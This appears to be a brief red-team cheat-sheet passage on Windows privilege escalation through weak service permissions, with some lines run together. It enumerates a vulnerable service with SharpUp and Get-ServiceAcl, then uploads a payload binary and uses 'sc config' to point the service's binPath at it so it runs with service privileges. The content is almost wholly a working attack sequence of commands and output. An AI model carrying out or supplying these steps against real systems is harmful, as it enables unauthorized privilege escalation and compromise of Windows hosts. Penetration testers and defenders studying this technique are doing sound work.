Weak Service Permissions
Using SharpUp
SharpUp.exe audit ModifiableServices
VulnService2Import-Module C:\Tools\Get-ServiceAcl.ps1
powershell Get-ServiceAcl -Name VulnService2 | select -expand Access
ServiceRights : ChangeConfig, Start, Stop
AccessControlType : AccessAllowed
IdentityReference : NT AUTHORITY\Authenticated Userssc qc VulnService2
mkdir C:\Temp
cd C:\Temp
upload C:\Payloads\tcp-local_x64.svc.exe
sc config VulnService2 binPath= C:\Temp\tcp-local_x64.svc.exe
sc qc VulnService2Attack scenario
Tooling
Last updated